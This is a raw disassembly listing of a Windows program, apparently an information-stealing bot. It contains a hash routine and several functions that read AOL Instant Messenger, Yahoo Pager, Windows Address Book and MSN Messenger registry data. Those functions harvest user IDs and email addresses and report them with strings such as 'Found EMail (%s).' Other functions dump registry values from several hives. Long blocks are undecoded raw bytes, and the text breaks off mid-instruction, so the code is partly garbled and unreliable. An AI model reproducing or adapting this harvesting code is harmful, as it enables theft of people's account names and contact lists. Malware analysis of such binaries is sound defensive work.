lea eax, [eax+ecx-70F3336Eh] mov ecx, eax shr ecx, 16h shl eax, 0Ah or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_18] lea edx, [edx+eax-100B83h] mov eax, edx shr eax, 11h shl edx, 0Fh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_3C] lea edi, [edi+edx-7A7BA22Fh] mov edx, edi shl edx, 15h shr edi, 0Bh or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_20] lea ebx, [ebx+edi+6FA87E4Fh] mov edi, ebx shr edi, 1Ah shl ebx, 6 or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi xor ebx, edx add ebx, [esp+5Ch+var_4] lea ecx, [ecx+ebx-1D31920h] mov ebx, ecx shr ebx, 16h shl ecx, 0Ah or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, [esp+5Ch+var_28] lea eax, [eax+ecx-5CFEBCECh] mov ecx, eax shr ecx, 11h shl eax, 0Fh or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [esp+5Ch+var_C] lea edx, [edx+eax+4E0811A1h] mov eax, edx shl eax, 15h shr edx, 0Bh or eax, edx mov edx, ebx add eax, ecx not edx or edx, eax xor edx, ecx add edx, [esp+5Ch+var_30] lea edi, [edi+edx-8AC817Eh] mov edx, edi shr edx, 1Ah shl edi, 6 or edx, edi mov edi, ecx add edx, eax not edi or edi, edx xor edi, eax add edi, [esp+5Ch+var_14] lea ebx, [ebx+edi-42C50DCBh] mov edi, ebx shr edi, 16h shl ebx, 0Ah or edi, ebx mov ebx, eax add edi, edx not ebx or ebx, edi push 40h xor ebx, edx push 0 add ebx, [esp+64h+var_38] lea ecx, [ecx+ebx+2AD7D2BBh] mov ebx, ecx shr ebx, 11h shl ecx, 0Fh or ebx, ecx mov ecx, edx add ebx, edi not ecx or ecx, ebx xor ecx, edi add ecx, ebp mov ebp, [esi+8] add ebp, ebx lea eax, [eax+ecx-14792C6Fh] mov ecx, [esi] add ecx, edx mov edx, eax shl edx, 15h shr eax, 0Bh or edx, eax mov eax, [esi+4] add edx, ebx mov ebx, [esi+0Ch] add eax, edx add ebx, edi mov [esi+4], eax lea eax, [esp+64h+var_40] push eax mov [esi], ecx mov [esi+8], ebp mov [esi+0Ch], ebx call sub_434770 add esp, 18h pop edi pop esi pop ebp pop ebx add esp, 40h retn sub_433AB0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 21h dup(0CCh) byte_434421 db 23Fh dup(0CCh) ; DATA XREF: sub_580566+17FC3o ; =============== S U B R O U T I N E ======================================= sub_434660 proc near ; CODE XREF: sub_433A20+14p ; sub_433A20+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi mov edi, [esp+4+arg_8] test edi, edi jbe short loc_4346A7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_43467A: ; CODE XREF: sub_434660+44j mov dl, [ecx] add ecx, 4 mov [eax-1], dl mov edx, [ecx-4] shr edx, 8 mov [eax], dl mov edx, [ecx-4] shr edx, 10h mov [eax+1], dl mov edx, [ecx-4] shr edx, 18h mov [eax+2], dl add eax, 4 lea edx, [esi+eax] cmp edx, edi jb short loc_43467A pop esi loc_4346A7: ; CODE XREF: sub_434660+7j pop edi retn sub_434660 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4346D0 proc near ; CODE XREF: sub_433AB0+26p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp mov ebp, [esp+4+arg_8] test ebp, ebp jbe short loc_43471A mov ecx, [esp+4+arg_4] push esi mov esi, [esp+8+arg_0] push edi mov edi, 0FFFFFFFEh lea eax, [ecx+2] sub edi, ecx loc_4346ED: ; CODE XREF: sub_4346D0+46j xor ecx, ecx xor edx, edx mov ch, [eax+1] mov dl, [eax-1] mov cl, [eax] add eax, 4 shl ecx, 8 or ecx, edx xor edx, edx mov dl, [eax-6] add esi, 4 shl ecx, 8 or ecx, edx mov [esi-4], ecx lea ecx, [edi+eax] cmp ecx, ebp jb short loc_4346ED pop edi pop esi loc_43471A: ; CODE XREF: sub_4346D0+7j pop ebp retn sub_4346D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434740 proc near ; CODE XREF: sub_433940+4Ep ; sub_433940+9Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] test esi, esi jbe short loc_43475C mov eax, [esp+4+arg_0] mov ecx, [esp+4+arg_4] sub ecx, eax loc_434753: ; CODE XREF: sub_434740+1Aj mov dl, [ecx+eax] mov [eax], dl inc eax dec esi jnz short loc_434753 loc_43475C: ; CODE XREF: sub_434740+7j pop esi retn sub_434740 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_434770 proc near ; CODE XREF: sub_433A20+60p ; sub_433AB0+932p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short locret_43479E mov al, [esp+arg_4] push ebx mov bl, al mov edx, ecx mov bh, bl push edi mov edi, [esp+8+arg_0] mov eax, ebx shl eax, 10h mov ax, bx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx locret_43479E: ; CODE XREF: sub_434770+6j retn sub_434770 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4347B0 proc near ; CODE XREF: sub_401C0Dj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4347B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 0Bh push 3 push 4Fh push 14h push 5 lea eax, [esp+58h+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4347B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Dh push 4Fh push 14h push 5 lea edx, [esp+30h] push 7 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4348A0: ; CODE XREF: ___:loc_401F1Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43BDF6 push eax mov eax, 16D4h mov large fs:0, esp call sub_436840 push ebx push ebp push esi mov esi, [esp+16F0h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434E5E push 80h mov dword ptr [esp+1Ch], 800h call near ptr 77C2C407h nop add esp, 4 mov ebp, eax lea eax, [esp+64h] mov ecx, esi push offset asc_443600 ; " " push 1 push eax call sub_4016AE push 800h mov dword ptr [esp+16F0h], 0 call sub_4367FA ; --------------------------------------------------------------------------- db 8Bh dd 50F7241Dh, 4C48300h, 0B9F88Bh, 33000002h, 83D89C0h dd 0F30050E4h, 57D4BEABh, 4E8B0044h, 4C8D51FCh, 0EE85024h dd 8DFFFCCFh, 0C664244Ch, 16EC2484h, 0E8010000h, 0FFFCCB6Fh dd 0FB1C3D8Bh, 0FF500050h, 4C483D7h, 4C244C8Dh, 0CB59E850h dd 0FF50FFFCh, 4C483D7h, 0D9E89050h, 83778132h, 0C08508C4h dd 26A840Fh, 3E810000h, 80000001h, 9B840Fh, 568B0000h dd 0F0685204h, 55004435h, 9104E890h, 0B9001Bh, 33000002h dd 24BC8DC0h, 6F0h, 0F30CC483h, 100B9ABh, 0CBF0000h, 0F30050E4h dd 0E408A1ABh, 4C8D0050h, 948D1824h, 6E424h, 0C75100h dd 0 dd 5208468Bh, 6A006Ah, 0FF006A50h, 75C085D3h, 0FC568B3Ch dd 0F424BC8Bh, 8D000016h, 6E4248Ch, 52510000h, 443D4C68h dd 694F8D00h, 0FCCABEE8h, 938F8AFFh, 50000000h, 94878Ah dd 51500000h, 4D60B568h, 0CE1AE800h, 0C483FFFCh, 0E8006A1Ch dd 24CB5C8h, 81168B90h, 1FAh, 0B5850F80h, 0A0000001h, 446F70h dd 40B9h, 24848800h, 0E0h, 0BC8DC033h, 0E124h, 2444C700h dd 10428h, 66ABF300h, 4C8DAAABh, 448D4424h, 50513024h dd 48244C8Dh, 4024448Dh, 4C8D5051h, 448D3C24h, 50514424h dd 54244C8Dh, 2C24448Dh, 4C8D5051h, 6A4824h, 424848Dh dd 51000001h, 44C75250h, 4424h, 4DE80000h, 900247B5h, 1424448Bh dd 840FC085h, 13Ch, 0C085FF33h, 24247C89h, 12E860Fh, 4C8D0000h dd 548D4424h, 6A512024h, 6A006A00h, 24848D00h, 0EF4h, 68575052h dd 80000003h, 402444C7h, 800h, 48B507E8h, 0C0859002h, 0E9850Fh dd 4E8B0000h, 24948D04h, 0EE4h, 84685251h, 55004436h, 20244489h dd 1B8F95E8h, 0B99000h, 33000002h, 24BC8DC0h, 6F4h, 0F310C483h dd 100B9ABh, 0CBF0000h, 0F30050E4h, 24448DABh, 19685010h dd 6A000200h, 3685500h, 90800000h, 4FB696E8h, 8468B02h dd 18244C8Dh, 0E424948Dh, 51000006h, 14244C8Bh, 6A006A52h dd 0FF515000h, 74C085D3h, 24548B0Bh, 81E85210h, 90024CB4h dd 8D08568Bh, 8D182444h, 6E4248Ch, 8B500000h, 51142444h dd 6A006Ah, 0D3FF5052h, 3C75C085h, 8BFC568Bh, 16F424BCh dd 8C8D0000h, 6E424h, 68525100h, 443D4Ch, 0E8694F8Dh, 0FFFCC913h dd 938F8Ah, 8A500000h, 9487h, 68515000h, 4D60B5h, 0FCCC6FE8h dd 1CC483FFh, 1024548Bh, 19E89052h, 8B024CB4h, 8B24247Ch dd 47142444h, 7C89F83Bh, 820F2424h, 0FFFFFED2h, 4C244C8Dh dd 0EC2484C6h, 16h, 0FCC619E8h, 10C683FFh, 5A24FE81h, 820F0044h dd 0FFFFFD2Ah, 0F75C2D8Bh, 448D0050h, 68501C24h, 20019h dd 0B068006Ah, 6800445Bh, 80000002h, 302444C7h, 0 dd 2C2444C7h, 80h, 448BD5FFh, 4C8D1C24h, 948D1824h, 2E424h dd 6A525100h, 68006A00h, 446A6Ch, 85D3FF50h, 0C1850FC0h dd 68000000h, 104h, 778DE890h, 0C483777Fh, 248C8D04h, 2E4h dd 0A468F08Bh, 5100445Bh, 446A5C68h, 1BE85600h, 90001B8Eh dd 443E8C68h, 6DE85600h, 907780A3h, 0C483F88Bh, 74FF8518h dd 948D5775h, 8024h, 52646A00h, 0BEF3E890h, 0C4837780h dd 74C0850Ch, 24448D53h, 6A44687Ch, 0E8500044h, 77812F8Ch dd 8C48390h, 3C75C085h, 0F424948Bh, 8D000016h, 517C244Ch dd 446A2868h, 694A8D00h, 0FCC7DEE8h, 848B50FFh, 170024h dd 94888A00h, 8A000000h, 9390h, 68525100h, 4D60B5h, 0FCCB33E8h dd 18C483FFh, 92E89057h, 837780BDh, 0F68504C4h, 90560A74h dd 7F74EEE8h, 4C48377h, 1C24448Bh, 0C5E89050h, 8D024CB2h dd 0C71C244Ch, 80182444h, 51000000h, 2001968h, 68006A00h dd 446A00h, 268h, 8BD5FF80h, 8D1C244Ch, 8D182454h, 2E42484h dd 50520000h, 6A006Ah, 446A6C68h, 0D3FF5100h, 850FC085h dd 0BAh, 10468h, 7CE89000h, 83777F76h, 948D04C4h, 2E424h dd 68F08B00h, 4469F8h, 69E86852h, 0E8560044h, 1B8D0Ah dd 3E8C6890h, 90560044h, 80A25BE8h, 83F88B77h, 0FF8518C4h dd 8D576E74h, 802484h, 646A0000h, 0BDE3E850h, 83907780h dd 0C0850CC4h, 4C8D4C74h, 0CC687C24h, 51004469h, 2E7AE890h dd 0C4837781h, 75C08508h, 249C8B35h, 16F4h, 7C24548Dh dd 69B06852h, 4B8D0044h, 0C6CDE869h, 8B8AFFFCh, 93h, 94838A50h dd 50000000h, 60B56851h, 29E8004Dh, 83FFFCCAh, 905718C4h dd 80BC88E8h, 4C48377h, 0A74F685h, 0E4E89056h, 83777F73h dd 548B04C4h, 0E8521C24h, 24CB1BCh, 244C8D90h, 2484C764h dd 16ECh, 0FFFFFFFFh, 0FCC3CDE8h, 184E9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_434E5E: ; CODE XREF: ___:004348E1j lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_434FE2 lea eax, [esp+10h] push eax push 0F003Fh push 0 push offset aSoftwareAmeric ; "Software\\America Online\\AOL Instant Mes"... push 80000001h nop call near ptr 29301EBh test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+1E4h] rep stosd lea ecx, [esp+14h] lea edx, [esp+1E4h] push ecx mov ecx, [esp+14h] lea eax, [esp+24h] push edx push eax push 0 push offset dword_446948 push ecx mov dword ptr [esp+2Ch], 100h call near ptr 28E0000h nop test eax, eax jz short loc_434EE8 mov edx, [esp+10h] push edx nop call near ptr 2900000h jmp loc_434FE2 ; --------------------------------------------------------------------------- loc_434EE8: ; CODE XREF: ___:00434ED6j mov eax, [esp+14h] mov ecx, [esp+10h] mov ebp, dword_50F738 push ecx mov byte ptr [esp+eax+1E8h], 0 call ebp lea edx, [esp+1E4h] lea ebx, [esi+69h] push edx push offset dword_44693C mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea edx, [esp+10h] push edx push 0F003Fh push 0 push offset aSoftwareYahooP ; "Software\\Yahoo\\Pager" push 80000001h nop call near ptr 29301EBh test eax, eax jnz loc_434FE2 mov ecx, 40h lea edi, [esp+0E0h] rep stosd lea eax, [esp+14h] lea ecx, [esp+0E0h] push eax mov eax, [esp+14h] lea edx, [esp+24h] push ecx push edx push 0 push offset aYahooUserId ; "Yahoo! User ID" push eax mov dword ptr [esp+2Ch], 100h call near ptr 28E0000h nop test eax, eax jz short loc_434F9F mov ecx, [esp+10h] push ecx call ebp jmp short loc_434FE2 ; --------------------------------------------------------------------------- loc_434F9F: ; CODE XREF: ___:00434F94j mov edx, [esp+14h] mov eax, [esp+10h] push eax mov byte ptr [esp+edx+1E8h], 0 call ebp lea ecx, [esp+0E0h] push ecx push offset aYahooS ; "yahoo: %s" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_434FE2: ; CODE XREF: ___:00434E70j ; ___:00434E94j ... mov ecx, [esp+16E4h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 16E0h retn 4 ; --------------------------------------------------------------------------- db 90h db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4351E0 proc near ; CODE XREF: sub_4016F4j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4351E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 4Fh push 14h push 5 lea eax, [esp+3Ch+var_24] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_4351E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_435280: ; CODE XREF: ___:loc_401FD7j sub esp, 6CCh add ecx, 4 push ebx push ebp push esi push edi call sub_4017E4 mov ebp, [esp+6E0h] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_43551E lea eax, [esp+14h] mov dword ptr [esp+20h], 320h push eax push 0F003Fh push 0 push offset aSoftwareMicr_1 ; "Software\\Microsoft\\WAB\\WAB4\\Wab File Na"... push 80000001h nop call near ptr 29301EBh mov eax, [esp+14h] test eax, eax jz loc_43551E lea ecx, [esp+20h] lea edx, [esp+1D8h] push ecx push edx push 0 push 0 push offset byte_446F70 push eax nop call near ptr 28E0000h mov eax, [esp+14h] push eax nop call near ptr 2900000h push 0 push 80h push 4 push 0 push 1 lea ecx, [esp+1ECh] push 80000000h push ecx call near ptr 2860000h nop push 0 push 0 push 0 mov edi, eax push 2 push 0 push edi mov [esp+34h], edi nop call near ptr 2710000h mov ebx, eax test ebx, ebx mov [esp+24h], ebx jnz short loc_435359 push edi nop call near ptr 2840000h pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435359: ; CODE XREF: ___:00435341j push 0 push 0 push 0 push 4 push ebx nop call near ptr 271073Fh mov esi, eax test esi, esi jnz short loc_435389 mov esi, dword_50F8D8 push ebx call esi push edi call esi pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- loc_435389: ; CODE XREF: ___:0043536Cj xor edx, edx xor eax, eax mov dh, [esi+63h] mov ah, [esi+61h] mov dl, [esi+62h] and eax, 0FFFFh movsx ecx, byte ptr [esi+64h] shl edx, 10h or edx, eax xor eax, eax mov al, [esi+60h] or edx, eax mov eax, ecx shl eax, 4 add eax, ecx shl eax, 2 test eax, eax jle short loc_435428 lea ecx, [eax+43h] mov eax, 0F0F0F0F1h lea edi, [edx+esi] mul ecx mov ebx, edx shr ebx, 6 loc_4353CB: ; CODE XREF: ___:0043541Ej xor eax, eax mov ecx, edi loc_4353CF: ; CODE XREF: ___:004353DFj mov dl, [ecx] add ecx, 2 mov [esp+eax+0ACh], dl inc eax cmp eax, 44h jle short loc_4353CF lea eax, [esp+0ACh] lea ecx, [ebp+69h] push eax push offset aFoundEmailS_ ; "Found EMail (%s)." mov byte ptr [esp+0F8h], 0 call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h add edi, 44h dec ebx jnz short loc_4353CB mov ebx, [esp+24h] mov edi, [esp+1Ch] loc_435428: ; CODE XREF: ___:004353B7j push edi mov edi, dword_50F8D8 call edi push esi call near ptr 2710981h nop push ebx call edi lea eax, [esp+18h] push eax push 0F003Fh push 0 push offset aSoftwareMicr_2 ; "Software\\Microsoft\\MessengerService\\Lis"... push 80000001h nop call near ptr 29301EBh test eax, eax jnz loc_43551E mov ebx, off_50FBF0 mov dword ptr [esp+10h], 400h mov dword ptr [esp+28h], 3 xor esi, esi loc_435477: ; CODE XREF: ___:0043550Ej mov ecx, 20h xor eax, eax lea edi, [esp+2Ch] push esi rep stosd lea ecx, [esp+30h] push offset dword_446A88 push ecx call ebx ; sub_5EDAB2 mov ecx, 100h xor eax, eax lea edi, [esp+2E8h] add esp, 0Ch rep stosd lea edx, [esp+10h] lea eax, [esp+2DCh] push edx lea ecx, [esp+2Ch] push eax mov eax, [esp+20h] push ecx lea edx, [esp+38h] push 0 push edx push eax inc esi mov dword ptr [esp+28h], 400h call near ptr 28E0000h nop test eax, eax jnz short loc_435513 lea ecx, [esp+2DCh] push ecx push offset dword_446A7C lea ecx, [ebp+69h] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h push 64h nop call near ptr 28302E5h jmp loc_435477 ; --------------------------------------------------------------------------- loc_435513: ; CODE XREF: ___:004354D3j mov ecx, [esp+18h] push ecx nop call near ptr 2900000h loc_43551E: ; CODE XREF: ___:004352A4j ; ___:004352D4j ... pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 6CCh retn 4 ; --------------------------------------------------------------------------- db 3 dup(90h) db 0B0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4355E0 proc near ; CODE XREF: sub_401E47j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4355E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 7 push 5 push 12h push 4Fh push 14h push 5 lea eax, [esp+5Ch+var_3C] push 7 mov esi, ecx push eax call sub_4019B5 add esp, 24h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_401681 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447158 call sub_401591 sub_4355E0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 0Bh push 17h push 4Fh push 14h push 5 lea edx, [esp+34h] push 7 push edx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_401681 add esi, 32h push eax push esi mov ecx, offset dword_447158 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4356F0 proc near ; CODE XREF: sub_401E4Cj var_135 = byte ptr -135h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = byte ptr -124h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4356F0 push eax mov large fs:0, esp sub esp, 12Ch push ebx push esi mov esi, [esp+140h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435BC7 push ebp xor ebp, ebp push ebp push offset asc_443600 ; " " lea eax, [esp+150h+var_128] push 1 push eax mov ecx, esi mov [esp+158h+var_134], ebp mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], ebp push ecx push 20019h push ebp mov ecx, eax call sub_4017E4 mov edi, dword_50F75C push eax push 80000001h call edi or ebx, 0FFFFFFFFh lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push ebp push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push ebp push ebp mov ecx, eax mov dword ptr [esp+154h], 1 call sub_4017E4 mov ebp, dword_50F724 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_43581C lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BCB+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_43581C: ; CODE XREF: sub_4356F0+FCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 2 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000002h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 3 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435904 lea ecx, [esp+144h+var_108] push ecx push (offset loc_446BBF+1) lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435904: ; CODE XREF: sub_4356F0+1E4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2900000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 4 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000005h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 5 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_4359EC lea ecx, [esp+144h+var_108] push ecx push offset loc_446BB4 lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_4359EC: ; CODE XREF: sub_4356F0+2CCj mov ecx, [esp+144h+var_130] push ecx nop call near ptr 2900000h push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 1 push edx mov ecx, esi mov [esp+154h+var_12C], 80h call sub_4011EA lea ecx, [esp+144h+var_130] mov dword ptr [esp+144h], 6 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000000h call edi lea ecx, [esp+144h+var_124] mov [esp+144h], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+14Ch+var_124] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+144h+var_12C] lea edx, [esp+144h+var_108] push ecx push edx push 0 push 0 mov ecx, eax mov dword ptr [esp+154h], 7 call sub_4017E4 push eax mov eax, [esp+158h+var_130] push eax call ebp test eax, eax lea ecx, [esp+144h+var_124] mov [esp+144h], ebx setz byte ptr [esp+144h+var_134+3] call sub_401226 mov al, byte ptr [esp+144h+var_134+3] test al, al jz short loc_435AD4 lea ecx, [esp+144h+var_108] push ecx push offset aHkcrS ; "HKCR: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435AD4: ; CODE XREF: sub_4356F0+3B4j mov ecx, [esp+144h+var_130] push ecx call near ptr 2900000h nop push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 1 push edx mov ecx, esi mov [esp+158h+var_130], 80h call sub_4011EA lea ecx, [esp+148h+var_134] mov [esp+148h+var_4], 8 push ecx push 20019h push 0 mov ecx, eax call sub_4017E4 push eax push 80000003h call edi lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx call sub_401226 push 0 push offset asc_443600 ; " " lea edx, [esp+150h+var_128] push 2 push edx mov ecx, esi call sub_4011EA lea ecx, [esp+148h+var_130] lea edx, [esp+148h+var_10C] push ecx push edx push 0 push 0 mov ecx, eax mov [esp+158h+var_4], 9 call sub_4017E4 push eax mov eax, [esp+15Ch+var_134] push eax call ebp test eax, eax lea ecx, [esp+148h+var_128] mov [esp+148h+var_4], ebx setz [esp+148h+var_135] call sub_401226 mov al, [esp+148h+var_135] pop ebp test al, al jz short loc_435BBD lea ecx, [esp+144h+var_10C] push ecx push offset aHkuS ; "HKU: %s" lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435BBD: ; CODE XREF: sub_4356F0+49Dj mov ecx, [esp+144h+var_134] push ecx jmp loc_435C61 ; --------------------------------------------------------------------------- loc_435BC7: ; CODE XREF: sub_4356F0+3Cj lea ecx, [edi+32h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_435C67 lea edx, [esp+144h+var_12C] mov [esp+144h+var_12C], eax push edx push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 29301EBh mov edx, 